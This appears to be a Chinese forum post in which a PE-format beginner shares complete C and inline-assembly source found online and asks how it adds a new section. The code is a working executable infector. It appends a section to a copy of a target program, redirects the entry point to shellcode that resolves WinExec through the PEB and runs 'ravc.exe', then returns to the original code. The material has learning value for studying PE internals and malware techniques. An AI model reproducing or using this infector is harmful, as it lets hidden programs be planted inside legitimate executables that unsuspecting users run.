程序来自网上, 我是初学PE,想知道程序是如何实现增加新节的,,应该怎么用呢?用ollyice之类的调试工具怎么看呢
/********************************************************************
author: Hanker98
purpose: 增加一个新节用于C盘的程序
被执行程序可以在 windows 或system32 和被修改程序的目录都可以运行成功
*********************************************************************/
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>
#define DEBUG 1
#define EXTRA_CODE_LENGTH 18
#define SECTION_SIZE 0x1000
#define SECTION_NAME ".hhkr"
#define FILE_NAME_LENGTH 30
int Align(int size, int ALIGN_BASE)
{
int ret;
int result;
assert( 0 != ALIGN_BASE );
result = size % ALIGN_BASE;
if (0 != result)
{
ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
ret = size;
}
return ret;
}
void hellp()
{
printf("用法:/n");
printf("peexe.exe FileName/n");
printf("eg: /n");
printf("/peexe.exe test.exe/n");
printf("Coded by:Hanker98/n");
}
int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
IMAGE_SECTION_HEADER SectionHeader;
IMAGE_SECTION_HEADER newSectionHeader;
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;
unsigned int newEP;
unsigned int oldEP;
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;
if (NULL == argv[1])
{
puts("参数错误~~~/n");
hellp();
exit(0);
}
strcpy(srcFileName, argv[1]);
strcpy(newFileName, srcFileName);
strcat(newFileName, ".exe");
if (!CopyFile(srcFileName, newFileName, FALSE))
{
puts("Copy file failed");
exit(0);
}
pNewFile = fopen(newFileName, "rb+");
if (NULL == pNewFile)
{
puts("Open file failed");
exit(0);
}
fseek(pNewFile, 0, SEEK_SET);
fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
numOfSections = NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;
oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;
for (i = 0; i < numOfSections; i++)
{
fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
}
extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
NtHeader.FileHeader.NumberOfSections++;
memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));
strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));
newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,
SECTION_ALIGN_MENT);
newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);
newSectionHeader.PointerToRawData = Align
(
SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,
FILE_ALIGN_MENT
);
newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);
newSectionHeader.Characteristics = 0xE0000020;
NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT); //修正SizeOfCode
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage
+ Align(SECTION_SIZE, SECTION_ALIGN_MENT);
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
fseek(pNewFile, 0, SEEK_END);
newEP = newSectionHeader.VirtualAddress;
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;
fseek(
pNewFile,
DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)
+ numOfSections * sizeof(IMAGE_SECTION_HEADER),
SEEK_SET
);
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
fseek(pNewFile, 0, SEEK_END);
for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
{
fputc(0, pNewFile);
}
fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
goto GetExtraData;
extra_data_start:
__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;
push ebp;
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov edi, [eax + 0x08]
mov eax, [edi+3Ch]
mov edx,[edi+eax+78h]
add edx,edi
mov ecx,[edx+18h]
mov ebx,[edx+20h]
add ebx,edi
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax;
jne search
mov eax,0x41636f72
cmp [esi+4],eax;
jne search
mov ebx,[edx+24h]
add ebx,edi
mov cx,[ebx+ecx*2]
mov ebx,[edx+1Ch]
add ebx,edi
mov eax,[ebx+ecx*4]
add eax,edi
mov [ebp+40h], eax
push dword ptr 0x00636578
push dword ptr 0x456E6957
push esp
push edi
call [ebp+40h]
mov [ebp+4], eax
push 0
call EXEC;
_emit 'r';
_emit 'a';
_emit 'v';
_emit 'c';
_emit '.';
_emit 'e';
_emit 'x';
_emit 'e';
_emit '/0'; //运行程序的 名字,
EXEC:
pop edi;
push edi;
call [ebp+4] ; 调用 WinExec("ravc.exe")
add esp, 0x40;
pop ebp;
}
extra_data_end:
GetExtraData:
_asm
{
pushad;
lea eax, extra_data_start;
mov pExtra_data, eax;
lea edx, extra_data_end;
sub edx, eax;
mov extra_data_real_length, edx;
popad;
}
for (i = 0; i < extra_data_real_length; i++)
{
fputc(pExtra_data[i], pNewFile);
}
oldEP = oldEP - (newEP + extra_data_real_length) - 5;
jmp = 0xE9;
fwrite(&jmp, sizeof(jmp), 1, pNewFile);
fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);
fclose(pNewFile);
return 0;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课